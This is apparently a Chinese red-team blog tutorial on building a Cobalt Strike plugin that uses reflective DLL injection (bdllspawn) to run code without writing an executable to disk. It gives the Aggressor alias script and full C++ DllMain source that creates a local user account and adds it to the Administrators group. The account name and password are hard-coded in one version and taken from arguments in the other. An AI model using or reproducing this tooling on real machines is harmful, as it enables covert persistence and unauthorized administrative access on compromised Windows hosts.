前言

Cobalt Strike是目前红队必备的工具， 最近也在学习相关的插件编写，我们渗透的过程中都是有对应的程序，上传到服务器上来实现我们想要的功能，这样都需要exe落地，如何让他不落地呢？

  1. 使用过bexecute_assembly编写C#程序进行不落地加载执行程序。
  2. 其他程序还有bdllspawn通过反射DLL来执行。

Cobalt Strike的bdllspawn是基于项目ReflectiveDLLInjection来实现的。使用开源项目ReflectiveDLLInjection来实现我们的功能，也是接着昨天写的Windows API Tools 来进一步操作。我们只需要把C++编写的功能写到ReflectiveDll.c里即可

环境

系统：Win10
编译环境：Visual Studio 2019
测试环境：Win10

ReflectiveDLL

默认的demo
DLL的主函数在经过DLL_PROCESS_ATTACH的时候，开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。image.png
编译该项目我这里生成x64的DLL

CS测试插件

  1. alias hello {
  2.     bdllspawn($1, script_resource("reflective_dll.x64.dll"), $2, "test dll", 5000, false);
  3. }

测试效果

image.png

功能编写

我们今天主要想实现的功能是加用户``密码写入对应的程序，直接copy之前的项目

  1. //===============================================================================================//
  2. // This is a stub for the actuall functionality of the DLL.
  3. //===============================================================================================//
  5. #include "ReflectiveLoader.h"
  6. #include <string>
  7. #include <lm.h>
  9. #pragma comment(lib, "netapi32.lib")
  10. #pragma comment(lib, "Shell32.lib")
  16. // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
  17. // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
  18. // DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
  20. // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
  21. extern HINSTANCE hAppInstance;
  22. //===============================================================================================//
  23. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
  24. {
  25.     USER_INFO_1 ui;
  26.     DWORD dwLevel = 1;
  27.     DWORD dwError = 0;
  28.     NET_API_STATUS nStatus;
  29.     BOOL bReturnValue = TRUE;
  30.     switch( dwReason ) 
  31.     { 
  32.         case DLL_QUERY_HMODULE:
  33.             if( lpReserved != NULL )
  34.                 *(HMODULE *)lpReserved = hAppInstance;
  35.             break;
  36.         case DLL_PROCESS_ATTACH:
  37.             ui.usri1_name = L"zhangsan";//账号
  38.             ui.usri1_password = L"zhangsanfengYYDS!@#123";//密码
  39.             ui.usri1_priv = USER_PRIV_USER;
  40.             ui.usri1_home_dir = NULL;
  41.             ui.usri1_comment = NULL;
  42.             ui.usri1_flags = UF_SCRIPT;
  43.             ui.usri1_script_path = NULL;
  45.             if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
  46.                 //添加用户成功
  47.                 printf("Add User successfully\n");
  48.                 // 添加过的用户加入到administrators组
  49.                 LOCALGROUP_MEMBERS_INFO_3 account;
  50.                 account.lgrmi3_domainandname = ui.usri1_name;
  51.                 if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
  52.                 {
  53.                     //添加管理员成功    
  54.                     printf("Add Administrators Group successfully\n");
  55.                 }
  56.                 else
  57.                 {
  58.                     //添加管理员组失败    
  59.                     printf("Add Administrators Group Fail");
  60.                 }
  62.             }
  65.             //
  66.             // Otherwise, print the system error.
  67.             //
  68.             else {
  69.                 //添加用户失败
  70.                 printf("Add User Fail");
  71.             }
  72.             break;
  73.         case DLL_PROCESS_DETACH:
  74.         case DLL_THREAD_ATTACH:
  75.         case DLL_THREAD_DETACH:
  76.             break;
  77.     }
  78.     return bReturnValue;
  79. }

编译后执行已经添加成功了。
image.png

参数处理

前面的属于把账号密码写死到程序里，这样不够灵活，我们需要把lpReserved做一个类型转换将它转换成命令行参数的格式。

定义参数

  1. #include "ReflectiveLoader.h"
  2. #include <string> 
  3. #include <lm.h>
  4. #include <shellapi.h>
  6. #pragma comment(lib, "netapi32.lib")
  8. std::string szargs;
  9. std::wstring wszargs;
  10. std::wstring wsHostFile;
  11. int argc = 0;
  12. LPWSTR* argv = NULL;

类型转换

在ReflectiveDLL中是通过DLLMain函数的lpReserved来当做参数传递，我们需要把它转换成命令参数格式的。

  2. //string 转 wstring
  3. std::wstring StringToWString(const std::string& str)
  4. {
  5.     int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
  6.     wchar_t* wide = new wchar_t[num];
  7.     MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
  8.     std::wstring w_str(wide);
  9.     delete[] wide;
  10.     return w_str;
  11. }
  13. szargs = (PCHAR)lpReserved;
  14. wszargs = StringToWString(szargs);
  15. argv = CommandLineToArgvW(wszargs.data(), &argc);

功能编写

  1. //===============================================================================================//
  2. // This is a stub for the actuall functionality of the DLL.
  3. //===============================================================================================//
  5. #include "ReflectiveLoader.h"
  6. #include <string>
  7. #include <ctime>
  8. #include <stdlib.h>
  9. #include <lm.h>
  10. #include <windows.h>
  11. #include <shellapi.h>
  14. #pragma comment(lib, "netapi32.lib")
  15. #pragma comment(lib, "Shell32.lib")
  18. std::string szargs;
  19. std::wstring wszargs;
  20. std::wstring wsHostFile;
  21. int argc = 0;
  22. LPWSTR* argv = NULL;
  24. //string 转 wstring
  25. std::wstring StringToWString(const std::string& str)
  26. {
  27.     int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
  28.     wchar_t* wide = new wchar_t[num];
  29.     MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
  30.     std::wstring w_str(wide);
  31.     delete[] wide;
  32.     return w_str;
  33. }
  34. // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
  35. // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
  36. // DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
  38. // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
  39. extern HINSTANCE hAppInstance;
  40. //===============================================================================================//
  41. BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
  42. {
  45.     USER_INFO_1 ui;
  46.     DWORD dwLevel = 1;
  47.     DWORD dwError = 0;
  48.     NET_API_STATUS nStatus;
  49.     BOOL bReturnValue = TRUE;
  50.     switch( dwReason ) 
  51.     { 
  52.         case DLL_QUERY_HMODULE:
  53.             if( lpReserved != NULL )
  54.                 *(HMODULE *)lpReserved = hAppInstance;
  55.             break;
  56.         case DLL_PROCESS_ATTACH:
  57.             if (lpReserved != NULL) {
  58.                 szargs = (PCHAR)lpReserved;
  59.                 wszargs = StringToWString(szargs);
  60.                 argv = CommandLineToArgvW(wszargs.data(), &argc);
  61.             }
  63.             ui.usri1_name = argv[0];//账号
  64.             ui.usri1_password = argv[1];//密码
  65.             ui.usri1_priv = USER_PRIV_USER;
  66.             ui.usri1_home_dir = NULL;
  67.             ui.usri1_comment = NULL;
  68.             ui.usri1_flags = UF_SCRIPT;
  69.             ui.usri1_script_path = NULL;
  71.             if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
  72.                 //添加用户成功
  73.                 printf("Add User successfully\n");
  74.                 // 添加过的用户加入到administrators组
  75.                 LOCALGROUP_MEMBERS_INFO_3 account;
  76.                 account.lgrmi3_domainandname = ui.usri1_name;
  77.                 if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
  78.                 {
  79.                     //添加管理员成功    
  80.                     printf("Add Administrators Group successfully\n");
  81.                 }
  82.                 else
  83.                 {
  84.                     //添加管理员组失败    
  85.                     printf("Add Administrators Group Fail");
  86.                 }
  88.             }
  91.             //
  92.             // Otherwise, print the system error.
  93.             //
  94.             else {
  95.                 //添加用户失败
  96.                 printf("Add User Fail");
  97.             }
  98.             break;
  99.         case DLL_PROCESS_DETACH:
  100.         case DLL_THREAD_ATTACH:
  101.         case DLL_THREAD_DETACH:
  102.             break;
  103.     }
  104.     return bReturnValue;
  105. }

测试效果

image.png

Reference

https://payloads.online/archivers/2020-03-02/1/ https://github.com/stephenfewer/ReflectiveDLLInjection https://blog.csdn.net/weixin_43956962/article/details/105843803 https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn https://uknowsec.cn/posts/notes/ https://blog.csdn.net/weixin_42837024/article/details/106278980